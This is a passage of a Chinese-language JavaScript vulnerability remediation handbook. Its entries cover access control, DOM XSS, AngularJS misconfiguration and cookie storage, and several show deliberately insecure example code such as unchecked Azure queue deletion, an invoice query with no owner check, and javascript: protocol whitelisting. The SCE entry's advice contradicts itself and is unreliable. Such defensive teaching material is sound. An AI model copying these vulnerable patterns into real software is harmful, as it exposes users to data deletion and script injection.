GitSec.Cloud
48h to DevSecOps

漏洞修复建议速查手册

(JavaScript 篇)

开源安全研究院

2022/7/22

返回目录

简介

手册简介：

本手册是针对 JavaScript 语言涉及的漏洞进行整理的一份漏洞修复建议速查手册，涵盖了目前已知的大部分漏洞信息，并且给出了相应的修复建议。读者只需点击目录上相应漏洞的名称便可直接跳转至该漏洞的详情页面，页面中包括漏洞名称、漏洞严重性、漏洞摘要、漏洞解释、漏洞修复建议、CWE 编号等内容，对于读者进行漏洞修复有一定的参考价值，减少漏洞修复的时间成本。

编者简介：

开源安全研究院(gitsec.cloud)目前是独立运营的第三方研究机构，和各工具厂商属于平等合作关系，专注于软件安全相关技术及政策的研究，围绕行业发展的焦点问题以及前沿性的研究课题，结合国家及社会的实际需求以开放、合作共享的方式开展创新型和实践性的技术研究及分享。欢迎关注我们的公众号。

免责声明：

本手册内容均来自于互联网，仅限学习交流，**不用于商业用途**，如有错漏，可及时联系客服小李进行处理。

此外我们也有软件安全爱好者的相关社群，也可扫码添加客服小李微信拉进群哦~（客服二维码在下一页）

返回目录

（客服小李微信二维码）

注：威胁等级对照表

默认严重性	CVSS 评级	
5	CRITICAL	严重漏洞
4	HIGH	高危漏洞
3	MEDIUM	中危漏洞
2	LOW	低危漏洞
1	not available	无效

返回目录

目录

返回目录

Client Password Weak Encryption
Client Path Manipulation
Client Potential Ad Hoc Ajax
Client Potential Code Injection
Client Potential DOM Open Redirect
Client Potential ReDoS In Match
Client Potential ReDoS In Replace
Client Potential XSS
Client Privacy Violation
Client ReDoS From Regex Injection
Client ReDoS In Match
Client ReDos In RegExp
Client ReDoS In Replace
Client Reflected File Download
Client Regex Injection
Client Remote File Inclusion
Client Resource Injection
Client Sandbox Allows Scripts With Same Origin
Client Second Order Sql Injection
Client Server Empty Password
Client SQL Injection
Client Untrusted Activex
Client Use Of Deprecated SQL Database
Client Use Of Iframe Without Sandbox
Client Use Of JQuery Deprecated Version
Client Weak Cryptographic Hash
Client Weak Encryption
Client Weak Password Authentication
Client XPATH Injection
Client-Side Template Injection
Clipboard Information Leakage
Code Correctness:Negative Content-Length
Code Injection
Command Injection
Cookie Poisoning
Cookie Security:Cookie not Sent Over SSL
Cookie Security:HTTPOnly not Set
Cookie Security:Overly Broad Domain
Cookie Security:Overly Broad Path
Cordova Code Injection
Cordova File Disclosure
Cordova File Manipulation
Cordova Insufficient Domain Whitelist
Cordova Missing Content Security Policy

返回目录

Cordova Open Redirect
Cordova Permissive Content Security Policy
Cordova Privacy Violation
Cross-Frame Scripting
Cross-Session Contamination
Cross-Site Request Forgery
Cross-Site Scripting:DOM
Cross-Site Scripting:Persistent
Cross-Site Scripting:Poor Validation
Cross-Site Scripting:Reflected
Cross-Site Scripting:Self
Cross-Site Scripting:SOP Bypass
Cross-Site Scripting:Untrusted HTML Downloads
CSV Injection
Declaration of Multiple Vue Components per File
Declaration of Vue Component Data as Property
Denial of Service
Denial of Service:Regular Expression
Deserialization of Untrusted Data
Divide By Zero
Dynamic Code Evaluation:Code Injection
Dynamic Code Evaluation:Script Injection
Dynamic Code Evaluation:Unsafe YAML Deserialization
Dynamic File Inclusion
Frameable Login Page
Hardcoded Absolute Path
Hardcoded password in Connection String
Header Manipulation
Header Manipulation:Cookies
Helmet Misconfiguration:Insecure XSS Filter
HTML5:Cross-Site Scripting Protection
HTML5:Easy-to-Guess Database Name
HTML5:MIME Sniffing
HTML5:Overly Permissive Message Posting Policy
HTTP Response Splitting
Information Exposure Through Directory Listing
Information Exposure Through Log Files
Information Exposure Through Query Strings
Insecure Randomness
Insecure SSL:Server Identity Verification Disabled
Insecure Storage of Sensitive Data
Insecure Text Entry
Insecure Transport
Insecure Transport:HSTS not Set

返回目录

Insecure Transport:Weak SSL Protocol
Insufficient Transport Layer Security
Insufficiently Protected Credentials
JavaScript Hijacking
JavaScript Hijacking:Vulnerable Framework
Jelly Injection
Jelly XSS
JSON Hijacking
JSON Injection
Key Management:Empty Encryption Key
Key Management:Hardcoded Encryption Key
Key Management:Null Encryption Key
Kony Code Injection
Kony Deprecated Functions
Kony Hardcoded EncryptionKey
Kony Information Leakage
Kony Path Injection
Kony Reflected XSS
Kony Second Order SQL Injection
Kony SQL Injection
Kony Stored Code Injection
Kony Stored XSS
Kony Unsecure Browser Configuration
Kony Unsecure iOSBrowser Configuration
Kony URL Injection
Kony Use WeakEncryption
Kony Use WeakHash
Lightning DOM XSS
Lightning Stored XSS
Log Forging
Log Forging (debug)
Missing CSP Header
Missing Encryption of Sensitive Data
Missing HSTS Header
Missing Root Or Jailbreak Check
MongoDB NoSQL Injection
Null Password
Often Misused:Mixing Template Languages
Open Redirect
Overly Permissive Cross Origin Resource Sharing Policy
Parameter Tampering
Password Management
Password Management:Empty Password
Password Management:Hardcoded Password

返回目录

Password Management:Null Password
Password Management:Password in Comment
Password Management:Weak Cryptography
Password Weak Encryption
Path Manipulation
Path Manipulation:Zip Entry Overwrite
Path Traversal
Plaintext Storage of a Password
Poor Database Access Control
Poor Logging Practice:Use of a System Output Stream
Potential Clickjacking on Legacy Browsers
Potentially Vulnerable To Xsrf
Privacy Violation
Process Control
Race Condition
React Deprecated
ReDOS in RegExp
Reflected XSS
Resource Injection
SAPUI5 Deprecated Symbols
SAPUI5 Hardcoded UserId In Comments
SAPUI5 Potential Malicious File Upload
SAPUI5 Use Of Hardcoded URL
Second Order SQL Injection
Security Misconfiguration
Server DoS by loop
Server DoS by sleep
Server-Side Request Forgery
Server-Side Template Injection
Setting Manipulation
Setting Manipulation:User-Controlled Allow List
Setting Manipulation:User-Controlled Expression Delimiters
SQL Injection
SSL Verification Bypass
Stored Code Injection
Stored Path Traversal
Stored XSS
System Information Leak
System Information Leak:External
System Information Leak:Internal
Trust Boundary Violation
Uncontrolled Format String
Unencrypted Sensitive Data Storage
Unprotected Cookie

返回目录

Unsafe Use Of Target blank
Use of Broken or Risky Cryptographic Algorithm
Use Of Controlled Input On Sensitive Field
Use of Deprecated or Obsolete Functions
Use Of Hardcoded Password
Use Of HTTP Sensitive Data Exposure
Use of Implicit Types on Vue Component Props
Use of Insufficiently Random Values
Use of Single Word Named Vue Components
VF Remoting Client Potential Code Injection
VF Remoting Client Potential XSRF
VF Remoting Client Potential XSS
Vue DOM XSS
Weak Cryptographic Hash
Weak Encryption
Weak Encryption:Insufficient Key Size
XML External Entities XXE
XML Injection
XS Code Injection
XS Log Injection
XS Open Redirect
XS Overly Permissive CORS
XS Parameter Tampering
XS Potentially Vulnerable To Clickjacking
XS Reflected XSS
XS Response Splitting
XS Second Order SQL Injection
XS SQL Injection
XS Stored Code Injection
XS Stored XSS
XS Unencrypted Data Transfer
XS Use Of Hardcoded URL
XS XSRF
XSRF

返回目录

漏洞名称	**Access Control:Azure**
默认严重性	2.0
摘要	在 X（文件） 的第 N 行中，XXX（方法） 方法使用一个由攻击者控制的值并且在没有适当访问控制的情形下访问 Azure Queue/Blob，从而允许攻击者执行未经授权的功能。如果在使用用户控制的值且没有适当访问控制的情形下访问 Azure Queue/Blob，则会允许攻击者查看/修改/删除未经授权的 Queue/Blob 及其消息/内容。

解释	Azure Cloud 访问控制错误在以下情况下出现：
	1. 数据从一个不可信赖的数据源进入程序。
	
	在这种情况下，数据进入 X（文件） 的第 N 行进入 XX（函数）。
	
	2. 数据用于查看/修改/删除未经授权的 Queue/Blob 及其消息/内容。
	
	在这种情况下，Y（文件） 的第 M 行的 YY（函数） 使用该数据。
	
	示例 1：以下代码可删除给定 Queue 及其消息。
	
	...
	var queueName = queryStringData['name'];
	var queueSvc;
	queueSvc = azureStorage.createQueueService();
	...
	queueSvc.deleteQueue(queueName, option, function(error, response){
	if(!error){
	// all the messages has been deleted
	}
	});
	...
	
	示例 2：以下代码可删除给定 Blob 容器及其内容。
	
	...
	var containerName = queryStringData['name'];
	var blobSvc;
	blobSvc = azureStorage.createBlobService();
	...
	blobSvc.deleteContainer(containerName, function (error, response){
	if (!error) {

返回目录

	// all the content in the given container has been deleted
	}
	});
	...
	
	虽然 Example 1 和 Example 2 中的代码会删除给定队列/Blob 容器及其属于当前用户/程序的消息/内容，但攻击者可删除该 Azure 帐户的任何队列/Blob。由于此示例中的代码不会执行检查以确保该用户/程序有权清除请求的队列/Blob，因此即使该队列/Blob 不属于当前用户/程序，它也会被清除。

建议	禁止由不可信赖的数据来控制敏感数值。在发生此错误的许多情况下，应用程序期望获得特定于用户/程序的特定输入。如果可能的话，应用程序应仅通过输入从预定的安全数值集合中选择数据，而不是依靠输入得到期望的数值，从而确保应用程序行为得当。针对恶意输入，传递给敏感函数的数值应当是该集合中的某些安全选项的默认设置。即使无法事先了解安全数值集合，通常也可以检验输入是否在某个安全的数值区间内。若上述两种验证机制均不可行，则必须重新设计应用程序，以避免应用程序接受由用户/程序提供的潜在危险值。
CWE	CWE ID 639
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Access Control:Database**
默认严重性	2.0
摘要	如果没有适当的 access control，X（文件） 中的 XXX（方法） 方法就会在第 N 行上执行一个 SQL 指令，该指令包含一个受攻击者控制的主键，从而允许攻击者访问未经授权的记录。如果没有适当的 access control，就会执行一个包含用户控制主键的 SQL 指令，从而允许攻击者访问未经授权的记录。

解释	Database access control 错误在以下情况下发生：
	1. 数据从一个不可信赖的数据源进入程序。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2. 这个数据用来指定 SQL 查询中主键的值。
	在这种情况下，在 Y（文件）中第 M 行的 YY（函数） 使用该数据。
	示例 1：以下代码使用可转义元字符并防止出现 SQL 注入漏洞的参数化语句，以构建和执行用于搜索与指定标识符 [1] 相匹配的清单的 SQL 查询。您可以从与当前被授权用户有关的所有清单中选择这些标识符。
	...
	var id = document.form.invoiceID.value;
	var query = "SELECT * FROM invoices WHERE id = ?";
	db.transaction(function (tx) {
	tx.executeSql(query,[id]);
	}
	)
	...
	问题在于开发者没有考虑到所有可能出现的 id 值。虽然界面生成了属于当前用户的清单标识符列表，但是攻击者可以绕过这个界面，从而获取所需的任何清单。由于此示例中的代码没有执行检查以确保用户具有访问所请求清单的权限，因此它会显示任何清单，即使此清单不属于当前用户。

建议	与其靠表示层来限制用户输入的值，还不如在应用程序和数据库层上进行 access control。任何情况下都不允许用户在没有取得相应权限的情况下获取或修改数据库中的记录。每个涉及数据库的查询都必须遵守这个原则，这可以通过把当前被授权的用户名作为查询语句的一部分来实现。
	示例 2：以下代码实现的功能与 Example 1 相同，但是附加了一个限制，以验证清单是否属于当前经过身份验证的用户。
	...
	var id = document.form.invoiceID.value;
	var user = document.form.user.value;

返回目录

	var query = "SELECT * FROM invoices WHERE id = ? AND user = ?";
	db.transaction(function (tx) {
	tx.executeSql(query,[id,user]);
	}
	)
	...

CWE	CWE ID 566
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Angular Client DOM XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Angular Client Stored DOM XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Angular Deprecated API**
默认严重性	3
摘要	Y（文件） 文件第 M 行中的 YYY（方法） 方法调用了一个过时的 API YY（元素）。这已经被弃用，不应再用于现代代码库。
解释	引用已弃用的模块可能会导致应用程序出现已公开报告且已修复的漏洞。一种常见的攻击技术就是扫描应用程序是否存在这些已知漏洞，然后通过这些已弃用的版本来操控该应用程序。但是，即使以完全安全的方式使用弃用的代码，但因为它存在于代码库中，这就会鼓励开发人员在将来再重用已弃用的元素，使应用程序容易受到攻击，而这就是要从代码库中删除已弃用代码的原因。 请注意，实际风险取决于旧版本中已知漏洞的具体情况。 在客户端代码中使用已弃用的 API 会使用户容易受到浏览器类攻击；客户端侧代码会被任意有客户端访问权限的攻击者利用，攻击者可能很容易发现使用了已弃用的 API，使情况更为危险。 应用程序引用了被声明已弃用的代码元素。这包括版本已过期或已被完全弃用的类、函数、方法、属性、模块或过时的库版本。可能在开发引用过时元素的代码时它还未被声明为过时，然后引用的代码进行了更新。
建议	一定要优选使用最新版本的库、组件和其他依赖项。 不要使用或引用任何已被声明为已弃用的类、方法、函数、属性或其他元素。
CWE	CWE ID 477
OWASP2017	None

返回目录

漏洞名称	**Angular Improper Type Pipe Usage**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XX（元素） 中使用的值可能会使用 Y（文件） 文件第 M 行的管道 YY（元素） 抛出异常。
解释	错误地使用管道可能导致 Web 页面中的本地化应用程序受到拒绝服务攻击，从而影响或阻止用户活动。 Angular 管道用于转换或处理传递给管道的值。但是，如果传递给这些管道的值未经过验证，管道可能会抛出异常；如果没有进行处理，应用程序将停止响应，直到页面刷新。如果在设置值的表单上对错误的值进行了管道转换，并因此使表单变得无法可用，这个问题就会一直存在——从而显著影响应用程序的可用性。
建议	一定要确保传递给管道的值显式有正确的预期类型 不要对未净化的值使用管道，例如用户输入或从数据库检索可被用户输入修改的参数
CWE	CWE ID 228
OWASP2017	None

返回目录

漏洞名称	**Angular Usage of Unsafe DOM Sanitizer**
默认严重性	3
摘要	在 Y（文件） 文件第 M 行发现使用不安全类 YY（元素） 覆盖了输出净化。
解释	在客户端环境中使用类覆盖输出的净化可能会使应用程序受到跨站点脚本 (XSS) 攻击。 使用为绕过安全措施而显式设计的库（例如输出编码）可能会使应用程序面临风险。在某些情况下，这可能会使攻击者能够进行精心设计的跨站点脚本 (XSS) 攻击，利用危险方法或对象的错误使用来攻击其他安全代码。 例如，在 Angular 中，可以通过插值代码访问和使用全局声明的 DomSanitizer；如果没有声明此对象，就无法单独从插值代码中调用它，也不会增加成功注入插值代码所带来的风险。如果没有 DomSanitizer，攻击者的影响就会受到限制。有了 DomSanitizer，跨站点脚本 (XSS) 攻击就会成为可能。
建议	不要通过从可信任的值中删除安全措施来注入原始 Web 代码；而要以编程的方式构造这些元素。 不要在 Angular 中全局声明危险的对象或方法，因为这些对象或方法可能会被插值代码访问。
CWE	CWE ID 116
OWASP2017	None

返回目录

漏洞名称	**AngularJS Misconfiguration:Dangerous Protocol Allowed**
默认严重性	4.0
摘要	对 X（文件） 中第 N 行的 X（函数） 调用允许 JavaScript 成为允许使用的协议，这可能会引发 cross-site scripting 漏洞。应用程序允许 JavaScript 成为允许使用的协议，这可能会引发 cross-site scripting 漏洞。
解释	某些框架（例如 AngularJS）将限制可能为指向其他站点和图像的链接设置的协议。这主要是为了阻止内联 JavaScript 运行，因为其运行可能会导致应用程序中出现其他的 cross-site scripting 漏洞。 示例 1：以下代码更改了 AngularJS 中的默认允许列表协议，以允许图像 HTML 元素允许内联 JavaScript。 myModule.config(function($compileProvider){ $compileProvider.imgSrcSanitizationWhitelist(/^(http(s)?|javascript):.*/); });
建议	几乎没有理由用此方式内联 JavaScript，因此不应允许 JavaScript 在默认被禁止的位置内联运行。通常会有更简洁、更安全的方法来运行相同功能，而无需在应用程序中开放潜在的安全漏洞。
CWE	CWE ID 554
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**AngularJS Misconfiguration:Strict Contextual Escaping Disabled**
默认严重性	5.0
摘要	对 X（文件） 中第 N 行的 X（函数） 的调用在 AngularJS 1 中禁用了严格上下文转义，可能会导致包括 cross-site scripting 攻击在内的多个漏洞。在 AngularJS 1 应用程序中禁用严格上下文转义，可能会导致多个新的漏洞。
解释	严格上下文转义 (SCE) 是 AngularJS 应用程序中的一种机制，可帮助保护应用程序免受攻击者攻击，阻止一整套不同攻击手段的多种漏洞。最突出的是，其可阻止某些类型的 cross-site scripting 攻击。在此应用程序中，此保护机制已被禁用。 示例 1：在此示例中，我们在一个模块上禁用了 SCE。 myModule.config(function($sceProvider){ $sceProvider.enabled(false); });
建议	通常建议禁用此保护机制，此保护机制仅应用于调试。使用此保护机制会使框架中产生极少量的开销，安全确定是否应关闭此机制的唯一方式是，如果您确定站点 100% 安全，不会受漏洞攻击，即如果情况确实如此，则此应用程序将是一个非常简单的应用程序，没有任何用户输入。
CWE	CWE ID 554
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**AngularJS SCE Disabled**
默认严重性	4
摘要	X（文件） 文件第 N 行显式为整个应用程序禁用严禁上下文转义 (SCE) 机制。
解释	禁用 SCE 服务会禁用 Angular 的不安全输入转义。因为内置净化机制被禁用，所有绑定（包括含有用户输入的绑定）都不会进行过滤或净化。这可能在应用程序中产生跨站点脚本漏洞。 Angular 应用程序在整个应用程序范围禁用了“严格上下文转义”。
建议	不要为 Angular 应用程序禁用 SCE，否则很难手动保证通过其他方法正确地对所有值进行净化。 AngularJS 文档建议在需要时局部使用 $SCE.trustAs* 方法，而不要为整个应用程序直接禁用 SCE。但是也不鼓励这种用法，因为这可能在这个特定位置导致跨站点脚本漏洞，并鼓励开发人员在未来使用这种不安全的功能。 如果您需要输出 HTML，请使用 ngBindHTML 和 angular 净化程序。这会渲染 HTML，但会对可能有害的值保持一定水平的净化，例如 HTML 事件、Javascript URI 和脚本标记。
CWE	CWE ID 116
OWASP2017	None

返回目录

漏洞名称	**Cleartext Storage Of Sensitive Information**
默认严重性	4
摘要	X（文件） 文件第 N 行 XX（元素） 中的敏感数据被 Y（文件） 文件第 M 行的 YY（元素） 保存为明文形式。
解释	未加密的敏感个人信息可能会被有读访权限的攻击者获取到。 明文容器中保存的所有数据都会被有读访问权限的攻击者获取到。因此，静态数据必须加密，例如作为容器内的加密数据加密，或者使用会加密所有内容的加密容器。 在这种情况下，应用程序以纯文本形式保存看似敏感的数据。
建议	一定要在存储前加密敏感数据，或将数据保存在加密容器中。
CWE	CWE ID 312
OWASP2017	None

返回目录

漏洞名称	**Client Cookies Inspection**
默认严重性	3
摘要	X（文件） 文件第 N 行 XX（元素） 中的敏感数据保存在 Y（文件） 文件第 M 行的 cookie YY（元素） 中。
解释	保存在 cookie 中的敏感数据会一直保留在浏览器中，直到 cookie 过期，这样，有本地客户端访问权限的攻击者就能访问其内容。此外，这些 cookie 将成为 Javascript DOM 的一部分，使这些信息随时可以被跨站点脚本检索到。 客户端代码将敏感信息保存在 cookie 中。
建议	切勿在 cookie 或客户端上的任意位置保存敏感信息。
CWE	CWE ID 315
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client Cross Frame Scripting Attack**
默认严重性	4
摘要	应用程序未使用 framebusting 脚本来保护 Y（文件） 网页免受旧版浏览器中的点击劫持攻击。
解释	点击劫持攻击使攻击者可以不可见的方式框架化设计一个应用程序并将其叠加在虚假网站前以“劫持”用户在网页上的鼠标点击。用户被蒙蔽来点击虚假网站时，例如，点击链接或按钮，用户的鼠标实际上点击的是目标网页，尽管这是看不见的。 这使攻击者能够制作一个覆盖层，点击后会导致用户在易受攻击的应用程序中执行非预期操作，例如，启用用户的网络摄像头、删除所有用户记录、更改用户的设置或导致点击欺诈。 点击劫持漏洞的根本原因是应用程序网页可以被加载到另一个网站的框架中。应用程序未实施正确的 frame-busting 脚本，此脚本可以防止页面被加载到其他框架中。请注意，还有很多类型的简化重定向脚本会使应用程序容易受到点击劫持技术的攻击，因此建议不要使用。 在使用现代浏览器时，应用程序会发出合适的 Content-Security-Policy 或 X-Frame-Options 标头来指示浏览器禁止框架化，以此避免此漏洞。但是，许多旧版浏览器不支持此功能，需要减少 Javascript 编码来实施更手动化的方法。要保证对旧版本的支持，就需要一个 framebusting 脚本。
建议	通用指南： 在服务器端定义并实施内容安全策略 (CSP)，包括 frame-ancestors 指令。在所有相关网页上实施 CSP。 如果需要将某些网页加载到框架中，请定义具体的白名单目标 URL。也可在所有 HTTP 响应上返回一个 "X-Frame-Options" 标头。如果需要允许将特定网页加载到框架中，可定义具体的白名单目标 URL。 对于旧版本而言，可使用 Javascript 和 CSS 实现 framebusting 代码，确保如果页面被框架化后不会显示代码，并尝试导航到框架来防止攻击。即使无法导航，页面也不会显示，因此没有交互性，也可以减少受到点击劫持攻击的机会。 具体建议： 在客户端上实现不容易受到 frame-buster-busting 攻击的正确 framebuster 脚本。 代码应该先禁用 UI，这样即使成功绕过 frame-busting，也无法单击 UI。这可以通过在 "body" 或 "html" 标记上将"display" 特性的 CSS 值设置为 "none" 来完成。这样做是因为，如果框架尝试重定向并成为父节点，仍然可以通过各种技术阻止恶意父节点重定向。 然后代码应通过比较 self === top 来确定是否没有发生框架化；如果结果为 true，则可以启用 UI。如果为 false，可将 top.location 特性设置为 self.location 来尝试离开框架页面。
CWE	CWE ID 79

返回目录

OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Client Cross Session Contamination**
默认严重性	3
摘要	X（文件） 文件第 N 行中的 XX（元素） 从 sessionStorage 检索的数据保存到了 Y（文件） 文件第 M 行中的 localStorage。
解释	如果 sessionStorage 含有敏感数据，则它可能在将其传输到 localStorage 时泄漏给其他用户。 保存在 sessionStorage 中的信息从设计上是为了在关闭窗口或选项卡时使其过期；如果将其传输到 localStorage，它会一直持续到被显式删除。因为它原本就是要被删除的，所以它可能含有不应在两个用户会话之间持续存在的敏感信息，也不应在本地缓存。
建议	确保所有需要过期的数据最多保存到 sessionStorage。 敏感数据不应保存在 localStorage 中。
CWE	CWE ID 488
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**Client CSS Injection**
默认严重性	4
摘要	攻击者能够使用 X（文件） 文件第 N 行上未经净化的 XX（元素）输入通过 Y（文件） 文件第 M 行 YYY（方法） 中的 YY（元素）修改页面样式或外观。
解释	攻击者可以使用攻击者对 CSS 代码的控制来修改用户界面，从而引导用户执行用户不想做的操作（点击劫持）。 使用不安全的输入（例如查询字符串参数）设置 DOM 元素的样式、或者使用不安全的连接下载 CSS 文件可能造成 CSS 注入，导致容易受到中间人攻击。
建议	要解决此问题，开发人员应使用通过安全连接提供的静态 CSS 样式表，再使用内容安全策略通过 SHA-256 hash 限制其来源并验证其完整性。
CWE	CWE ID 83
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Client DB Parameter Tampering**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从 XX（元素） 元素获取用户输入。应用程序使用此输入过滤敏感数据库表中的个人记录，但未进行验证。Y（文件） 文件第 M 行的 YYY（方法） 方法向 YY（元素） 数据库提交了一个查询，但数据库未对其进行任何额外过滤。这可能使用户能够根据 ID 选择不同的记录。
解释	恶意用户只需更改发送到服务器的引用参数即可访问其他用户的信息。这样，恶意用户可能绕过访问控制并访问未经授权的记录，例如其他用户帐户，窃取机密或受限制的信息。 应用程序访问用户信息时未按照用户 ID 进行过滤。例如，它可能仅根据提交的帐户 ID 提供信息。应用程序使用用户输入来过滤含有敏感个人信息（例如用户账户或支付详情）的数据库表中的特定记录。因为应用程序未根据任何用户标识符过滤记录，也未将其约束到预先计算的可接受值列表，所以恶意用户可以轻松修改提交的引用标识符，从而访问未授权的记录。
建议	通用指南： 提供对敏感数据的任何访问之前先强制检查授权，包括特定的对象引用。 显式阻止访问任何未经授权的数据，尤其是对其他用户的数据的访问。 如果可能，尽量避免允许用户简单地发送记录 ID 即可请求任意数据的情况。例如，应用程序应查找当前经过身份验证的用户会话的帐户 ID，而不是让用户发送帐户 ID。 具体措施： 根据用户特定的标识符（例如客户编号）过滤数据库查询。 将用户输入映射到间接引用（例如通过预先准备的允许值列表）。
CWE	CWE ID 284
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Client DOM Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client DOM Cookie Poisoning**
默认严重性	4
